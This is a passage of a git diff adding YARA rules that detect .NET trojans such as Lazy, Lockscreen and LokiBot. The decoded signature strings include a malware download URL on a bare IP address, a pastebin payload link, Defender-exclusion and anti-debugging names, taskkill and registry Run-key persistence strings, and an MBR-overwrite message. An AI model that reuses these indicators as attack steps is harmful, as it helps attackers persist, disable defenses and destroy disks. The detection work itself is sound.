00 0a 6f ?? 00 00 0a 72 01 00 00 70 72 07 00 00 70 6f ?? 00 00 0a 28 ?? 00 00 06 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGK_MTB.yar b/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGK_MTB.yar new file mode 100644 index 0000000000..5ae5a8f3fc --- /dev/null +++ b/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Kryptik_PGK_MTB{ + meta: + description = "Trojan:BAT/Kryptik.PGK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {72 33 00 00 70 72 35 00 00 70 17 8d ?? 00 00 01 25 16 1f 25 9d 28 ?? 00 00 0a 7e ?? 00 00 04 25 2d 17 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGT_MTB.yar b/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGT_MTB.yar new file mode 100644 index 0000000000..d3b14468ae --- /dev/null +++ b/Trojan/BAT/Kryptik/Trojan_BAT_Kryptik_PGT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Kryptik_PGT_MTB{ + meta: + description = "Trojan:BAT/Kryptik.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {94 58 20 00 01 00 00 5d 94 fe 0e 0e 00 fe 0c 07 00 fe 0c 0c 00 fe 09 00 00 fe 0c 0c 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AC_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AC_MTB.yar new file mode 100644 index 0000000000..90ae81d537 --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Lazy_AC_MTB{ + meta: + description = "Trojan:BAT/Lazy.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8d 64 00 00 01 0d 11 06 20 b3 e5 26 d9 61 13 0a 38 1f 01 00 00 20 21 3f ?? da 13 06 11 06 20 32 97 ac 51 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AKQ_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AKQ_MTB.yar new file mode 100644 index 0000000000..e1fa1f221d --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AKQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Lazy_AKQ_MTB{ + meta: + description = "Trojan:BAT/Lazy.AKQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_01_0 = {11 0a 11 09 28 18 00 00 0a 72 93 02 00 70 11 0a 28 12 00 00 0a 28 02 00 00 06 de 1d 13 0e 72 d5 02 00 70 11 0e 6f 19 00 00 0a 28 12 00 00 0a 28 02 00 00 06 dd a7 01 00 00 } //3 + $a_01_1 = {09 72 be 0a 00 70 6f 22 00 00 0a 09 72 d2 0a 00 70 6f 22 00 00 0a 09 72 0a 0b 00 70 06 72 16 0b 00 70 28 1c 00 00 0a 6f 22 00 00 0a 09 72 0a 0b 00 70 07 72 16 0b 00 70 28 1c 00 00 0a 6f 22 00 00 0a de 0a 09 2c 06 09 6f 23 00 00 0a dc 73 41 00 00 0a 25 07 6f 42 00 00 0a 25 17 6f 43 00 00 0a 25 17 6f 44 00 00 0a 28 45 00 00 0a 26 72 1a 0b 00 70 28 02 00 00 06 de 1a } //3 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_ATW_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_ATW_MTB.yar new file mode 100644 index 0000000000..7412578641 --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_ATW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Lazy_ATW_MTB{ + meta: + description = "Trojan:BAT/Lazy.ATW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {09 6f 1d 00 00 06 6f 58 00 00 0a 28 59 00 00 0a 11 05 28 19 00 00 06 2c 0c 06 09 6f 1b 00 00 06 6f 06 00 00 06 09 6f 1f 00 00 06 18 40 8d 00 00 00 11 04 09 6f 1d 00 00 06 6f 58 00 00 0a 07 28 18 00 00 06 09 6f 1d 00 00 06 17 } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AYB_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AYB_MTB.yar new file mode 100644 index 0000000000..7032aed043 --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_AYB_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_BAT_Lazy_AYB_MTB{ + meta: + description = "Trojan:BAT/Lazy.AYB!MTB,SIGNATURE_TYPE_PEHSTR,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {6d 00 64 00 72 00 69 00 64 00 65 00 66 00 79 00 73 00 2e 00 69 00 6e 00 66 00 6f 00 } //2 mdridefys.info + $a_01_1 = {53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 41 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 } //1 SELECT * FROM AntivirusProduct + $a_01_2 = {2f 00 63 00 20 00 77 00 6d 00 69 00 63 00 20 00 70 00 61 00 74 00 68 00 20 00 77 00 69 00 6e 00 33 00 32 00 5f 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 73 00 79 00 73 00 74 00 65 00 6d 00 70 00 72 00 6f 00 64 00 75 00 63 00 74 00 20 00 67 00 65 00 74 00 20 00 75 00 75 00 69 00 64 00 } //1 /c wmic path win32_computersystemproduct get uuid + $a_01_3 = {43 00 6d 00 64 00 20 00 6d 00 6f 00 64 00 65 00 20 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 2c 00 20 00 61 00 6c 00 6c 00 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 73 00 20 00 77 00 69 00 6c 00 6c 00 20 00 62 00 65 00 20 00 72 00 65 00 64 00 69 00 72 00 65 00 63 00 74 00 20 00 74 00 6f 00 20 00 43 00 4d 00 44 00 2e 00 20 00 52 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 20 00 64 00 65 00 6c 00 61 00 79 00 20 00 69 00 73 00 20 00 3a 00 } //1 Cmd mode enabled, all commands will be redirect to CMD. Response delay is : + $a_01_4 = {53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 57 00 69 00 6e 00 33 00 32 00 5f 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 } //1 SELECT * FROM Win32_Product + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_GVA_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_GVA_MTB.yar new file mode 100644 index 0000000000..2242355787 --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Lazy_GVA_MTB{ + meta: + description = "Trojan:BAT/Lazy.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {5b 8c 3f 00 00 01 28 2b 00 00 0a 6f 2c 00 00 0a 26 11 0e 6f 29 00 00 0a 72 73 00 00 70 28 2d 00 00 0a 2c 08 11 0e 6f 2a 00 00 0a 0d 11 0d 17 58 13 0d 11 0d 11 0c 8e 69 32 95 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_GVC_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_GVC_MTB.yar new file mode 100644 index 0000000000..84f00c02ac --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_GVC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Lazy_GVC_MTB{ + meta: + description = "Trojan:BAT/Lazy.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {13 0f 11 20 11 09 91 13 28 11 20 11 09 11 26 11 28 61 ?? ?? ?? 58 61 11 2d 61 d2 9c 11 28 13 1e ?? ?? ?? 58 13 09 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_JLK_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_JLK_MTB.yar new file mode 100644 index 0000000000..cce997b751 --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_JLK_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_Lazy_JLK_MTB{ + meta: + description = "Trojan:BAT/Lazy.JLK!MTB,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 06 00 00 " + + strings : + $a_01_0 = {41 6e 74 69 41 6e 61 6c 79 73 69 73 } //2 AntiAnalysis + $a_01_1 = {41 64 64 54 6f 57 69 6e 64 6f 77 73 44 65 66 65 6e 64 65 72 45 78 63 6c 75 73 69 6f 6e 73 } //2 AddToWindowsDefenderExclusions + $a_01_2 = {43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 } //2 CheckRemoteDebuggerPresent + $a_01_3 = {52 4d 4c 6f 61 64 65 72 2e 4c 6f 67 69 6e 43 6c 61 73 73 57 69 6e 64 6f 77 73 2e 72 65 73 6f 75 72 63 65 73 } //2 RMLoader.LoginClassWindows.resources + $a_01_4 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 70 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 2e 00 63 00 6f 00 6d 00 2f 00 72 00 61 00 77 00 2f 00 6e 00 33 00 4b 00 64 00 4d 00 36 00 4d 00 4c 00 } //2 https://pastebin.com/raw/n3KdM6ML + $a_01_5 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 39 00 33 00 2e 00 31 00 32 00 33 00 2e 00 38 00 34 00 2e 00 30 00 2f 00 43 00 65 00 6c 00 42 00 75 00 69 00 6c 00 64 00 2e 00 65 00 78 00 65 00 } //2 http://93.123.84.0/CelBuild.exe + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_MBWJ_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_MBWJ_MTB.yar new file mode 100644 index 0000000000..fb571b347d --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_MBWJ_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_Lazy_MBWJ_MTB{ + meta: + description = "Trojan:BAT/Lazy.MBWJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_01_0 = {6c 52 6c 57 54 6d 5a 77 6d 70 44 6b 34 4b 64 37 70 4a 51 5a 67 6a 4e 70 6c 69 39 5a 50 46 36 5a 4c 49 51 67 63 4c 76 71 64 4e 31 76 6c 59 38 4e 70 4a 4d 31 68 53 59 39 6c 33 6f 32 48 57 66 49 53 56 47 38 69 4e 54 70 4c 42 65 69 6e 41 } //2 lRlWTmZwmpDk4Kd7pJQZgjNpli9ZPF6ZLIQgcLvqdN1vlY8NpJM1hSY9l3o2HWfISVG8iNTpLBeinA + $a_01_1 = {6d 38 65 47 36 77 6c 38 35 36 46 38 6a 50 4d 68 4d 41 52 51 39 65 74 51 } //1 m8eG6wl856F8jPMhMARQ9etQ + $a_01_2 = {45 6d 2f 66 45 34 37 43 6c 43 75 32 36 33 6c 77 57 49 50 65 33 47 41 53 6c 65 4c 42 63 2f 45 } //1 Em/fE47ClCu263lwWIPe3GASleLBc/E + $a_01_3 = {41 6e 74 69 2d 56 54 2e 65 78 65 } //1 Anti-VT.exe + $a_01_4 = {43 6f 6e 66 75 73 65 64 42 79 41 74 74 72 69 62 75 74 65 } //1 ConfusedByAttribute + $a_01_5 = {61 65 39 63 65 64 36 32 37 31 63 31 } //1 ae9ced6271c1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_NITA_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_NITA_MTB.yar new file mode 100644 index 0000000000..61d4d790a2 --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_NITA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Lazy_NITA_MTB{ + meta: + description = "Trojan:BAT/Lazy.NITA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {12 00 02 7d 10 00 00 04 12 00 03 7d 11 00 00 04 12 00 04 7d 12 00 00 04 12 00 28 14 00 00 0a 7d 0f 00 00 04 12 00 15 7d 0e 00 00 04 12 00 7b 0f 00 00 04 0b 12 01 12 00 28 01 00 00 2b 12 00 7c 0f 00 00 04 28 16 00 00 0a 2a } //2 + $a_03_1 = {03 11 0e 1f 0c 58 28 ?? 00 00 0a 13 10 03 11 0e 1f 10 58 28 ?? 00 00 0a 13 11 03 11 0e 1f 14 58 28 ?? 00 00 0a 13 12 11 11 2c 2e 11 11 8d 23 00 00 01 13 13 03 11 12 11 13 16 11 11 28 ?? 00 00 0a 12 00 7b 0a 00 00 04 11 0a 11 10 58 11 13 11 11 12 0b 28 ?? 00 00 06 26 11 0e 1f 28 58 13 0e 11 0f 17 58 13 0f 11 0f 11 0d 32 94 11 0a 28 29 00 00 0a 13 14 12 00 7b 0a 00 00 04 11 06 1f 29 94 1e 58 11 14 1a 12 0b 28 06 00 00 06 26 03 11 04 1f 28 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_NJA_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_NJA_MTB.yar new file mode 100644 index 0000000000..dbb6ac65f4 --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_NJA_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_Lazy_NJA_MTB{ + meta: + description = "Trojan:BAT/Lazy.NJA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 00 " + + strings : + $a_81_0 = {31 36 31 38 61 66 32 30 2d 37 34 35 30 2d 34 37 63 66 2d 61 37 38 64 2d 30 33 65 30 31 37 30 30 30 64 63 38 } //2 1618af20-7450-47cf-a78d-03e017000dc8 + $a_81_1 = {22 61 22 57 22 50 22 50 22 47 22 4c 22 56 22 74 22 47 22 50 22 51 22 4b 22 4d 22 4c 22 } //1 "a"W"P"P"G"L"V"t"G"P"Q"K"M"L" + $a_81_2 = {43 22 40 22 41 22 46 22 47 22 44 22 45 22 4a 22 4b 22 48 22 49 22 4e 22 4f 22 4c 22 4d 22 52 22 53 22 50 22 51 22 56 22 57 22 54 22 55 22 5a 22 5b 22 58 22 } //1 C"@"A"F"G"D"E"J"K"H"I"N"O"L"M"R"S"P"Q"V"W"T"U"Z"["X" + $a_81_3 = {4e 2a 43 2a 59 2a 5a 2a 46 2a 4b 2a 53 2a 64 2a 4b 2a 47 2a 4f 2a 2a 2a } //1 N*C*Y*Z*F*K*S*d*K*G*O*** + $a_81_4 = {67 2a 45 2a 50 2a 43 2a 46 2a 46 2a 4b 2a } //1 g*E*P*C*F*F*K* + $a_81_5 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + condition: + ((#a_81_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_PGL_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_PGL_MTB.yar new file mode 100644 index 0000000000..b0cdd52c4a --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_PGL_MTB.yar @@ -0,0 +1,24 @@ + +rule Trojan_BAT_Lazy_PGL_MTB{ + meta: + description = "Trojan:BAT/Lazy.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {17 1f 14 6f ?? 00 00 0a 13 04 2b 29 11 04 1f 0a fe 02 13 06 11 06 2c 0c 07 08 66 5f 07 66 08 5f 60 0d 2b 16 11 05 74 ?? 00 00 01 17 1f 14 6f ?? 00 00 0a 13 04 17 13 07 2b d2 09 28 ?? 00 00 0a 0a 06 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_BAT_Lazy_PGL_MTB_2{ + meta: + description = "Trojan:BAT/Lazy.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_01_0 = {54 00 65 00 6d 00 70 00 00 13 5c 00 78 00 4c 00 6f 00 6b 00 2e 00 65 00 78 00 65 } //1 + $a_80_1 = {72 67 73 74 6a 72 65 70 72 65 73 65 6e 74 61 74 69 76 65 64 } //rgstjrepresentatived 2 + $a_80_2 = {68 76 79 64 7a 73 70 65 63 69 66 69 63 61 74 69 6f 6e 73 70 } //hvydzspecificationsp 2 + $a_01_3 = {44 6f 77 6e 6c 6f 61 64 46 69 6c 65 } //5 DownloadFile + condition: + ((#a_01_0 & 1)*1+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_01_3 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_PGY_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_PGY_MTB.yar new file mode 100644 index 0000000000..fe6a9a8888 --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_PGY_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_Lazy_PGY_MTB{ + meta: + description = "Trojan:BAT/Lazy.PGY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {12 00 20 00 0b fc ff 1d 63 66 20 00 f6 ff ff 18 63 65 1d 63 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Lazy_PGY_MTB_2{ + meta: + description = "Trojan:BAT/Lazy.PGY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {69 00 41 00 39 00 42 00 31 00 75 00 4b 00 46 00 64 00 64 00 51 00 64 00 71 00 69 00 4c 00 53 00 53 00 75 00 7a 00 76 00 44 00 32 00 47 00 68 00 4c 00 31 00 6f 00 32 00 4a 00 76 00 2b 00 76 00 } //5 iA9B1uKFddQdqiLSSuzvD2GhL1o2Jv+v + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lazy/Trojan_BAT_Lazy_SPF_MTB.yar b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_SPF_MTB.yar new file mode 100644 index 0000000000..6fe580f2ba --- /dev/null +++ b/Trojan/BAT/Lazy/Trojan_BAT_Lazy_SPF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Lazy_SPF_MTB{ + meta: + description = "Trojan:BAT/Lazy.SPF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {63 d1 13 0f 11 20 11 09 91 13 28 11 20 11 09 11 26 11 28 61 11 1e 19 58 61 11 2e 61 d2 9c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/LimeRat/Trojan_BAT_LimeRat_AD_MTB.yar b/Trojan/BAT/LimeRat/Trojan_BAT_LimeRat_AD_MTB.yar new file mode 100644 index 0000000000..d9ee024d90 --- /dev/null +++ b/Trojan/BAT/LimeRat/Trojan_BAT_LimeRat_AD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LimeRat_AD_MTB{ + meta: + description = "Trojan:BAT/LimeRat.AD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {05 0e 04 7e 0c 00 00 04 20 24 02 00 00 7e 0c 00 00 04 20 24 02 00 00 91 05 5a 20 de 00 00 00 5f 9c 61 1f 6c 59 06 61 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lockscreen/Trojan_BAT_Lockscreen_PAHI_MTB.yar b/Trojan/BAT/Lockscreen/Trojan_BAT_Lockscreen_PAHI_MTB.yar new file mode 100644 index 0000000000..1b425fa1ad --- /dev/null +++ b/Trojan/BAT/Lockscreen/Trojan_BAT_Lockscreen_PAHI_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_BAT_Lockscreen_PAHI_MTB{ + meta: + description = "Trojan:BAT/Lockscreen.PAHI!MTB,SIGNATURE_TYPE_PEHSTR,09 00 09 00 06 00 00 " + + strings : + $a_01_0 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + $a_01_1 = {44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 } //2 DisableTaskMgr + $a_01_2 = {2f 00 6b 00 20 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 69 00 6d 00 20 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 65 00 78 00 65 00 } //1 /k taskkill /f /im explorer.exe + $a_01_3 = {59 00 6f 00 75 00 72 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 20 00 68 00 61 00 73 00 20 00 62 00 65 00 65 00 6e 00 20 00 64 00 65 00 73 00 74 00 72 00 6f 00 79 00 65 00 64 00 } //2 Your system has been destroyed + $a_01_4 = {5c 00 5c 00 2e 00 5c 00 50 00 68 00 79 00 73 00 69 00 63 00 61 00 6c 00 44 00 72 00 69 00 76 00 65 00 30 00 } //2 \\.\PhysicalDrive0 + $a_01_5 = {46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 77 00 72 00 69 00 74 00 65 00 20 00 74 00 6f 00 20 00 4d 00 42 00 52 00 } //1 Failed to write to MBR + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lockscreen/Trojan_BAT_Lockscreen_PDR_MTB.yar b/Trojan/BAT/Lockscreen/Trojan_BAT_Lockscreen_PDR_MTB.yar new file mode 100644 index 0000000000..7f4bbe6d95 --- /dev/null +++ b/Trojan/BAT/Lockscreen/Trojan_BAT_Lockscreen_PDR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Lockscreen_PDR_MTB{ + meta: + description = "Trojan:BAT/Lockscreen.PDR!MTB,SIGNATURE_TYPE_PEHSTR,07 00 07 00 04 00 00 " + + strings : + $a_01_0 = {4b 00 65 00 79 00 67 00 72 00 6f 00 75 00 70 00 37 00 37 00 37 00 } //3 Keygroup777 + $a_01_1 = {4f 00 6d 00 6e 00 69 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 20 00 2d 00 20 00 42 00 41 00 4e 00 47 00 21 00 } //2 Omnilocker - BANG! + $a_01_2 = {74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 69 00 6d 00 20 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 65 00 78 00 65 00 20 00 2f 00 66 00 } //1 taskkill /im explorer.exe /f + $a_01_3 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_ALB_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_ALB_MTB.yar index 9818d11acf..1c1fb15fe1 100644 --- a/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_ALB_MTB.yar +++ b/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_ALB_MTB.yar @@ -8,4 +8,15 @@ rule Trojan_BAT_LokiBot_ALB_MTB{ condition: ((#a_03_0 & 1)*5) >=5 +} +rule Trojan_BAT_LokiBot_ALB_MTB_2{ + meta: + description = "Trojan:BAT/LokiBot.ALB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {16 13 07 2b 15 00 07 11 07 07 11 07 94 03 5a 1f 64 5d 9e 00 11 07 17 58 13 07 11 07 07 8e 69 fe 04 13 08 11 08 2d de } //2 + $a_01_1 = {53 74 75 64 65 6e 74 5f 48 6f 75 73 69 6e 67 } //1 Student_Housing + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + } \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_AY_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_AY_MTB.yar new file mode 100644 index 0000000000..c50e124eeb --- /dev/null +++ b/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_AY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LokiBot_AY_MTB{ + meta: + description = "Trojan:BAT/LokiBot.AY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {09 11 05 02 11 05 91 06 61 08 11 04 91 61 b4 9c 1e 13 07 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_MBZ_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_MBZ_MTB.yar new file mode 100644 index 0000000000..ddd4e43d9b --- /dev/null +++ b/Trojan/BAT/Lokibot/Trojan_BAT_LokiBot_MBZ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_LokiBot_MBZ_MTB{ + meta: + description = "Trojan:BAT/LokiBot.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {52 00 50 00 53 00 5f 00 47 00 61 00 6d 00 65 } //2 + $a_01_1 = {42 00 61 00 72 00 7a 00 7a 00 65 00 72 00 73 00 } //1 Barzzers + $a_01_2 = {78 00 78 00 78 00 78 00 78 00 78 00 78 00 00 1b 73 00 73 00 73 00 73 00 73 00 73 00 73 00 73 00 73 00 73 } //1 + $a_01_3 = {50 00 72 00 6f 00 6e 00 48 00 75 00 62 00 } //1 PronHub + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ABL_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ABL_MTB.yar new file mode 100644 index 